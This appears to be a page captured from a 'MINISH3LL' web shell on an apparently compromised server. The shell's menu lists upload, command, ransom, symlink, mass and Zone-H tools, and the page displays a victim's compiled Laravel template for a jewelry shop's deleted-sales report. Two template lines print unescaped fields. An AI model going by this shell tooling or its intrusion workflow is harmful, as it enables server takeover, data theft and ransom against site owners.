KUJUNTI.ID MINISH3LL
Path : /var/www/html/jewelry-pos/storage/framework/views/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/jewelry-pos/storage/framework/views/2eb2b15d7c333421dd840303114e131a.php


<?php $__env->startSection('content'); ?>
    <div class="col-lg-12">
        <div class="card-body shadow-1">
            <form method="GET" action="<?php echo e(route('deleted-report.index')); ?>" id="search-form" onsubmit="">
                <div class="row" style="">
                    <div class="col-md-4 col-xs-12 col-sm-4 col-xl-3 mb-4">
                        <div class="input-group">
                            <input type="text" class="form-control rounded-0"
                                   placeholder="<?php echo e(__('message.select')); ?>" id="datepicker" name="date" readonly>
                            <input type="hidden" name="paginate" value="<?php echo e($paginate); ?>">
                            <div class="input-group-append">
                                <span class="input-group-text fs-xl">
                                    <i class="fal fa-calendar text-info "></i>
                                </span>
                            </div>
                        </div>
                    </div>
                    <div class="col-xs-12 col-sm-8 col-md-8 col-xl-8 d-flex mb-4">
                        <form method="GET" class="" action="<?php echo e(route('deleted-report.index')); ?>?start_date=<?php echo e($start_date); ?>&end_date=<?php echo e($end_date); ?>&paginate=<?php echo e($paginate); ?>" style="display: flex;justify-content: space-between;align-items: center;width: 100%">
                            <div class="input-group" style="width: 100%;height: fit-content;">
                                <input type="text" class="form-control rounded-0"
                                       placeholder="<?php echo e(__('message.search')); ?> ..." value="<?php echo e($search); ?>" name="search" id="search">
                                <div class="input-group-append">
                                    <button type="submit" id="searches" class="input-group-text fs-xl ">
                                        <i class="fal fa-search text-success"></i>
                                    </button>
                                </div>
                            </div>

                            <select class="select2 form-control w-100 ml-4" id="product_category_id" name="product_category_id" onchange="submit()">
                                <option value="0"><?php echo e(__('message.selected all')); ?></option>
                                <?php $__currentLoopData = $main_categories; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $main): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                    <option value="<?php echo e($main->id); ?>" style="font-weight: bold;font-size: 14px" <?php if($main->id == $product_category_id): ?> selected <?php endif; ?>><?php echo e($main->name); ?></option>
                                    <?php $__currentLoopData = $main->children; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $child): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <option value="<?php echo e($child->id); ?>" <?php if($child->id == $product_category_id): ?> selected <?php endif; ?>>&nbsp; &nbsp;&nbsp;<?php echo e($child->name); ?></option>
                                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>

                                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                            </select>
                            <?php if($product_category_id): ?>
                                <?php if($productCategory->name == $platinume_Category->name || $productCategory->parent?->name == $platinume_Category->name): ?>
                                    <div class="ml-2" style="width: 60%;">
                                        <select class="form-control" name="check_fixed_price" onchange="this.form.submit();">
                                            <option value="-1"><?php echo e(__('message.selected all')); ?></option>
                                            <option value="1" <?php if($check_fixed_price==1): ?> selected <?php endif; ?>><?php echo e(__('message.fixed price')); ?></option>
                                            <option value="2" <?php if($check_fixed_price==2): ?> selected <?php endif; ?>><?php echo e(__('message.not fixed price')); ?></option>
                                        </select>
                                    </div>
                                <?php endif; ?>
                            <?php endif; ?>






                            <a href="<?php echo e(route('deleted-report.print')); ?>?start_date=<?php echo e($start_date); ?>&end_date=<?php echo e($end_date); ?>&search=<?php echo e($search); ?>&product_category_id=<?php echo e($product_category_id); ?>&check_fixed_price=<?php echo e($check_fixed_price); ?>" type="submit"
                               class="btn btn-info bg-info-800 float-center rounded-0 ml-2" style="width: 30%;"
                               title="<?php echo e(__('message.print')); ?>" name="">
                                <i class="fal fa-print"></i>
                                <?php echo e(__('message.print')); ?>

                            </a>
                        </form>
                    </div>







                </div>
            </form>
            <div class="panel-container show table-responsive">
                <div class="d-flex flex-column h-100">
                    <div class="h-auto">
                        <table id="example" class="table table-striped w-100">
                            <thead class="bg-fusion-400 text-center">
                            <tr>
                                <th>#</th>
                                <th class="text-center"><?php echo e(__('message.part number')); ?></th>
                                <th><?php echo e(__('message.name')); ?></th>
                                <th><?php echo e(__('message.qty')); ?></th>
                                <th><?php echo e(__('message.sales price')); ?></th>
                                <th><?php echo e(__('message.discount')); ?></th>
                                <th><?php echo e(__('message.net sale')); ?></th>
                                <th><?php echo e(__('message.sale product')); ?></th>
                            </tr>
                            </thead>
                            <tbody id="accordionExample">
                            <?php $__currentLoopData = $sales; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $index => $sale): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                <tr class="text-center border-bottom" data-toggle="collapse" href="#row<?php echo e($index); ?>" role="button" aria-expanded="false" aria-controls="row<?php echo e($index); ?>">
                                    <td><?php echo e($index+1); ?></td>
                                    <td class="text-center"><?php echo e($sale->part_number); ?></td>
                                    <td>
                                        <?php echo e($sale->name??''); ?>

                                    </td>
                                    <td class="">
                                        <?php echo e($sale->qty??0); ?>

                                    </td>
                                    <td class="credit">
                                        <?php echo e(number_format($sale->sales_price+$sale->discount , 2)); ?> <?php echo e($currency_->currency_symbol); ?>

                                    </td>
                                    <td class="credit">
                                        <?php echo e(number_format($sale->discount , 2)); ?> <?php echo e($currency_->currency_symbol); ?>

                                    </td>
                                    <td class="credit">
                                        <?php echo e(number_format($sale->sales_price , 2)); ?> <?php echo e($currency_->currency_symbol); ?>

                                    </td>
                                    <td class="credit">
                                        <?php echo e(number_format(($sale->sales_price+$sale->discount)-$sale->wages , 2)); ?> <?php echo e($currency_->currency_symbol); ?>

                                    </td>
                                </tr>
                                <tr class="text-center border-bottom">
                                    <td colspan="9">
                                        <div class="collapse multi-collapse" id="row<?php echo e($index); ?>" data-parent="#accordionExample">
                                            <div class="panel-content">
                                                <ul class="nav nav-tabs" role="tablist">
                                                    <li class="nav-item"><a class="nav-link active" data-toggle="tab" href="#detail<?php echo e($loop->index); ?>" role="tab"><?php echo e(__('message.detail')); ?></a></li>
                                                    <li class="nav-item"><a class="nav-link" data-toggle="tab" href="#member<?php echo e($loop->index); ?>" role="tab"><?php echo e(__('message.customer')); ?></a></li>
                                                    <li class="nav-item"><a class="nav-link" data-toggle="tab" href="#description<?php echo e($loop->index); ?>" role="tab"><?php echo e(__('message.description')); ?></a></li>
                                                </ul>
                                                <div class="tab-content  border-top-0 p-3" style="border:1px solid #dee2e6!important; border-top:none !important;">
                                                    <div class="tab-pane fade show active" id="detail<?php echo e($loop->index); ?>" role="tabpanel">
                                                        <div class="">
                                                            <div class="card-body">
                                                                <div class="row">
                                                                    <div class="col-3">
                                                                        <?php if($sale->image): ?>
                                                                            <img class="rounded" id="myImg<?php echo e($index); ?>" src="<?php echo e(asset($sale->image)); ?>" style="width:200px;max-width:300px;cursor:pointer;">
                                                                        <?php else: ?>
                                                                            <img class="rounded" id="myImg<?php echo e($index); ?>" src="<?php echo e(asset('no_image.png')); ?>" style="width:200px;max-width:300px;cursor:pointer;">
                                                                        <?php endif; ?>
                                                                    </div>
                                                                    <div class="col-4">
                                                                        <div class="row mb-2">
                                                                            <div class="col-6">
                                                                                <p class="fw-bolder credit text-left">
                                                                                    <?php echo e(__('message.product category')); ?>

                                                                                </p>
                                                                            </div>
                                                                            <div class="col-6 text-left">: <?php echo e($sale->productCategory->name ?? '-'); ?></div>
                                                                            
                                                                        </div>
                                                                        <div class="row mb-2">
                                                                            <div class="col-6">
                                                                                <p class="fw-bolder credit text-left">
                                                                                    <?php echo e(__('message.cost')); ?>

                                                                                </p>
                                                                            </div>
                                                                            <div class="col-6 text-left credit">: <?php echo e(number_format($sale->cost()??0 , 2)); ?> <?php echo e($currency_->currency_symbol); ?></div>
                                                                        </div>
                                                                        <div class="row mb-2">
                                                                            <div class="col-6">
                                                                                <p class="fw-bolder credit text-left">
                                                                                    <?php echo e(__('message.selling cost')); ?>

                                                                                </p>
                                                                            </div>
                                                                            <div class="col-6 text-left credit">: <?php echo e(number_format($sale->selling_cost??0 , 2)); ?> <?php echo e($currency_->currency_symbol); ?></div>
                                                                        </div>
                                                                        <div class="row mb-2">
                                                                            <div class="col-6">
                                                                                <p class="fw-bolder credit text-left">
                                                                                    <?php echo e(__('message.selling rate')); ?>

                                                                                </p>
                                                                            </div>
                                                                            <div class="col-6 text-left credit">: <?php echo e(number_format($sale->selling_rate??0 , 4)); ?> <?php echo e($currency_->currency_symbol); ?></div>
                                                                        </div>
                                                                        <div class="row mb-2">
                                                                            <div class="col-6">
                                                                                <p class="fw-bolder credit text-left">
                                                                                    <?php echo e(__('message.wages')); ?>

                                                                                </p>
                                                                            </div>
                                                                            <div class="col-6 text-left credit">:
                                                                                <?php echo e(number_format($sale->wages??0 , 2)); ?> <?php echo e($currency_->currency_symbol); ?>

                                                                            </div>
                                                                        </div>
                                                                        <div class="row mb-2">
                                                                            <div class="col-6">
                                                                                <p class="fw-bolder credit text-left">
                                                                                    <?php echo e(__('message.original wages')); ?>

                                                                                </p>
                                                                            </div>
                                                                            <div class="col-6 text-left credit">:
                                                                                <?php echo e(number_format($sale->original_wages??0 , 2)); ?> <?php echo e($currency_->currency_symbol); ?>

                                                                            </div>
                                                                        </div>
                                                                        <div class="row mb-2">
                                                                            <div class="col-6">
                                                                                <p class="fw-bolder credit text-left">

                                                                                    <?php echo e(__('message.gold weight')); ?>

                                                                                </p>
                                                                            </div>
                                                                            <div class="col-6 text-left">: <?php echo e(number_format($sale->goldWeight() , 2)); ?></div>
                                                                        </div>
                                                                        <?php if($sale->purity_upgrade_to): ?>
                                                                            <div class="row mb-2">
                                                                                <div class="col-6">
                                                                                    <p class="fw-bolder credit text-left">
                                                                                        <?php echo e(__('message.purity upgrade to')); ?>

                                                                                    </p>
                                                                                </div>
                                                                                <div class="col-6 text-left">:  <?php echo e($sale->purity_upgrade_to??''); ?></div>
                                                                            </div>
                                                                        <?php endif; ?>
                                                                        <?php if($sale->selling_purity): ?>
                                                                            <div class="row mb-2">
                                                                                <div class="col-6">
                                                                                    <p class="fw-bolder credit text-left">
                                                                                        <?php echo e(__('message.selling purity')); ?>

                                                                                    </p>
                                                                                </div>
                                                                                <div class="col-6 text-left">: <?php echo e($sale->selling_purity??''); ?></div>
                                                                            </div>
                                                                        <?php endif; ?>
                                                                    </div>
                                                                    <div class="col-4">
                                                                        <?php if($sale->original_invoice): ?>
                                                                            <div class="row mb-3">
                                                                                <div class="col-6">
                                                                                    <p class="fw-bolder credit text-left">
                                                                                        <?php echo e(__('message.original invoice')); ?>

                                                                                    </p>
                                                                                </div>
                                                                                <div class="col-6 text-left">:
                                                                                    <?php echo e($sale->original_invoice??''); ?>

                                                                                </div>
                                                                            </div>
                                                                        <?php endif; ?>
                                                                        <div class="row mb-2">
                                                                            <div class="col-6">
                                                                                <p class="fw-bolder credit text-left">
                                                                                    <?php echo e(__('message.supplier rate')); ?>

                                                                                </p>
                                                                            </div>
                                                                            <div class="col-6 text-left credit">: <?php echo e(number_format($sale->supplier_rate ?? 0 , 2)); ?> <?php echo e($currency_->currency_symbol); ?></div>
                                                                        </div>
                                                                        <div class="row mb-2">
                                                                            <div class="col-6">
                                                                                <p class="fw-bolder credit text-left">
                                                                                    <?php echo e(__('message.user')); ?>

                                                                                </p>
                                                                            </div>
                                                                            <div class="col-6 text-left credit">:
                                                                                <a href="<?php echo e(route('users.show' , $sale->user_id)); ?>" class="text-dark" title="<?php echo e(__('message.show user')); ?>">
                                                                                    <?php echo e($sale->user->name??''); ?>

                                                                                </a>
                                                                            </div>
                                                                        </div>
                                                                        <div class="row mb-2">
                                                                            <div class="col-6">
                                                                                <p class="fw-bolder credit text-left">
                                                                                    <?php echo e(__('message.sale date')); ?>

                                                                                </p>
                                                                            </div>
                                                                            <div class="col-6 text-left">:
                                                                                <?php echo e($sale->created_at->format('d/m/Y H:i')); ?>

                                                                            </div>
                                                                        </div>
                                                                        <?php if($sale->old_code): ?>
                                                                            <div class="row mb-3">
                                                                                <div class="col-6">
                                                                                    <p class="fw-bolder credit text-left">
                                                                                        <?php echo e(__('message.old code')); ?>

                                                                                    </p>
                                                                                </div>
                                                                                <div class="col-6 text-left">:
                                                                                    <?php echo e($sale->old_code??''); ?>

                                                                                </div>
                                                                            </div>
                                                                        <?php endif; ?>
                                                                        <?php if($sale->diamond_size): ?>
                                                                            <div class="row mb-2">
                                                                                <div class="col-6">
                                                                                    <p class="fw-bolder credit text-left">
                                                                                        <?php echo e(__('message.diamond size')); ?>

                                                                                    </p>
                                                                                </div>
                                                                                <div class="col-6 text-left">: <?php echo $sale->diamond_size??0; ?></div>
                                                                            </div>
                                                                        <?php endif; ?>
                                                                    </div>
                                                                </div>

                                                            </div>
                                                        </div>
                                                    </div>
                                                    <div class="tab-pane fade" id="member<?php echo e($loop->index); ?>" role="tabpanel">
                                                        <div class="col-4">
                                                            <div class="row">
                                                                <div class="col-6">
                                                                    <p class="fw-bolder credit text-left">
                                                                        <?php echo e(__('message.customer name')); ?>

                                                                    </p>
                                                                </div>
                                                                <div class="col-6 text-left">:
                                                                    <a href="<?php echo e(route('member.show' , $sale->member->id??0)); ?>" style="color: black">
                                                                        <?php echo e($sale->member->name??''); ?>

                                                                    </a>
                                                                </div>
                                                            </div>
                                                            <div class="row mb-2">
                                                                <div class="col-6">
                                                                    <p class="fw-bolder credit text-left">
                                                                        <?php echo e(__('message.customer phone')); ?>

                                                                    </p>
                                                                </div>
                                                                <div class="col-6 text-left">: <?php echo e($sale->member->phone??''); ?></div>
                                                            </div>
                                                            <div class="row mb-2">
                                                                <div class="col-6">
                                                                    <p class="fw-bolder credit text-left">
                                                                        <?php echo e(__('message.buy back')); ?>

                                                                    </p>
                                                                </div>
                                                                <div class="col-6 text-left">:
                                                                    <span class="badge <?php echo e($sale->already_buy_back == 1 ? 'badge-success' : 'badge-danger'); ?>">
                                                                            <?php echo e($sale->already_buy_back==1? __('message.yes'): __('message.no')); ?>

                                                                        </span>
                                                                </div>
                                                            </div>
                                                            <div class="row mb-2">
                                                                <div class="col-6">
                                                                    <?php if($sale->already_buy_back == 1): ?>
                                                                        <p class="fw-bolder credit text-left">
                                                                            <?php echo e(__('message.date buy back')); ?>

                                                                        </p>
                                                                    <?php endif; ?>
                                                                </div>
                                                                <div class="col-6 text-left">
                                                                    <?php if($sale->already_buy_back == 1): ?>
                                                                        : <?php echo e(date('d-m-y' , strtotime($sale->date_buy_back))); ?>

                                                                    <?php endif; ?>
                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                    <div class="tab-pane fade" id="description<?php echo e($loop->index); ?>" role="tabpanel">
                                                        <?php if($sale->description): ?>
                                                            <?php echo $sale->description; ?>

                                                        <?php else: ?>
                                                            <div class="text-center">
                                                                <h3><?php echo e(__('message.description is empty')); ?></h3>
                                                            </div>
                                                        <?php endif; ?>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </td>
                                </tr>
                            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                            <?php
                            $help = Clone ($sales);
                            // $wages = $help->sum('wages');
                            // $cost = $help->sum('cost');
                            // $usd_amount = $help->sum('usd_amount');
                            // $khr_amount = $help->sum('khr_amount');
                            // $thb_amount = $help->sum('thb_amount');
                            ?>
                            </tbody>
                        </table>
                    </div>
                </div>

            </div>

            <?php if($sales->hasPages()): ?>
                <div class="d-flex m-2 p-2" style="justify-content: space-between;align-items: start;width: 20%">


                    <select id="paginate" name="paginate" class="form-select text-center rounded mr-2 mt-1"  aria-label="Default select example" style="width: 90px;font-size: 12px;border: 1px solid rebeccapurple">
                        <option selected hidden="hidden"><?php echo e($paginate); ?></option>
                        <option value="25">25</option>
                        <option value="50">50</option>
                        <option value="100">100</option>
                        <option value="250">250</option>
                        <option value="500">500</option>
                        <option value="1000">1000</option>
                    </select>

                    <div class="">
                        <?php echo e($sales->appends($_GET)->links()); ?>

                    </div>
                </div>
            <?php endif; ?>
        </div>
        <div class="col-lg-12 fixed-bottom" style="position: relative;margin-bottom: 0;padding: 0;z-index: 0">
            <div class="card-body shadow-lg" style="display: flex;justify-content: end;align-items: center">
                <div class="panel-container show table-responsive" style="width: 100%;">
                    <div class="d-flex flex-column h-100">
                        <div class="h-auto">
                            <table class="table table-striped w-100" style="font-size: 14px !important;">
                                <thead class="bg-fusion-50 text-center" style="background-color: rgba(119,136,153,0.62) !important;">
                                <tr class="">
                                    <th style="font-weight: bold;background-color: #035860"><?php echo e(__('message.total sale price')); ?></th>
                                    <th style="font-weight: bold;background-color: #534605"><?php echo e(__('message.total cost')); ?></th>
                                    <th style="font-weight: bold;background-color: #2d5703"><?php echo e(__('message.total cost of sale')); ?></th>
                                    <th style="font-weight: bold;background-color: #025340"><?php echo e(__('message.total wages sale')); ?></th>
                                    <th style="font-weight: bold;background-color: #420d65"><?php echo e(__('message.total original wage')); ?></th>
                                    <th style="font-weight: bold;background-color: #5a023e"><?php echo e(__('message.total discount')); ?></th>
                                    <th style="font-weight: bold;background-color: #602e02"><?php echo e(__('message.total price')); ?></th>
                                    <th style="font-weight: bold;background-color: #3c5903"><?php echo e(__('message.total sale product')); ?></th>
                                    <th style="font-weight: bold;background-color: #063168"><?php echo e(__('message.total profit')); ?></th>
                                </tr>
                                </thead>
                                <tbody>
                                <tr class="border-bottom text-center" style="background-color: #efe9e9 !important;">
                                    <td class="credit">
                                        <?php echo e($currency_->currency_symbol); ?> <?php echo e(number_format($total_sale_price+$total_sale_discount , 2)); ?>

                                    </td>
                                    <td class="credit"><?php echo e($currency_->currency_symbol); ?> <?php echo e(number_format($total_sale_cost,2)); ?></td>
                                    <td class="credit"><?php echo e($currency_->currency_symbol); ?> <?php echo e(number_format($total_cost_of_sale,2)); ?></td>
                                    <td class="credit"><?php echo e($currency_->currency_symbol); ?> <?php echo e(number_format($total_sale_wage,2)); ?></td>
                                    <td class="credit"><?php echo e($currency_->currency_symbol); ?> <?php echo e(number_format($total_sale_original_wage,2)); ?></td>
                                    <td class="credit"><?php echo e($currency_->currency_symbol); ?> <?php echo e(number_format($total_sale_discount, 2)); ?></td>
                                    <td class="credit">
                                        <?php echo e($currency_->currency_symbol); ?> <?php echo e(number_format($total_sale_price, 2)); ?>

                                    </td>
                                    <td class="credit">
                                        <?php echo e($currency_->currency_symbol); ?> <?php echo e(number_format(($total_sale_price+$total_sale_discount)-$total_sale_wage , 2)); ?>

                                    </td>
                                    <td class="credit"><?php echo e($currency_->currency_symbol); ?> <?php echo e(number_format($total_sale_profit, 2)); ?></td>
                                </tr>
                                </tbody>
                            </table>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

<?php $__env->stopSection(); ?>
<?php $__env->startSection('scripts'); ?>
    <?php echo $__env->make('app.datepicker-js-config', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
    <script>

        $(document).ready(function() {
            $(".ranges > ul > li").click(function() {
                setTimeout(function() {
                    $('#search-form').submit();
                }, 100);
            });
            $("#datepicker").on("change.dp" , function (){
                $("#search-form").submit();
            });
        });
        var runDatePicker = function() {
            $('#datepicker').datepicker({
                todayBtn: "linked",
                clearBtn: true,
                todayHighlight: true,
                templates: controls
            });
        }
    </script>
    <script>
        $(document).ready(function() {
            $("#js-nav-menu").removeClass('active');
            $("#js-nav-menu li ul li").removeClass('active');
            $("#menu_report_list").addClass('active open');
            $("#collapse_report").addClass('collapse in')
            $("#menu_deleted_report").addClass('active')
        })
    </script>
<?php $__env->stopSection(); ?>
<?php $__env->startSection('meta'); ?>
    <title><?php echo e(__('message.deleted report')); ?> - <?php echo e($settings_->shop_name); ?></title>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.admin-main', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /var/www/html/jewelry-pos/resources/views/reports/deleted-report.blade.php ENDPATH**/ ?>

© KUJUNTI.ID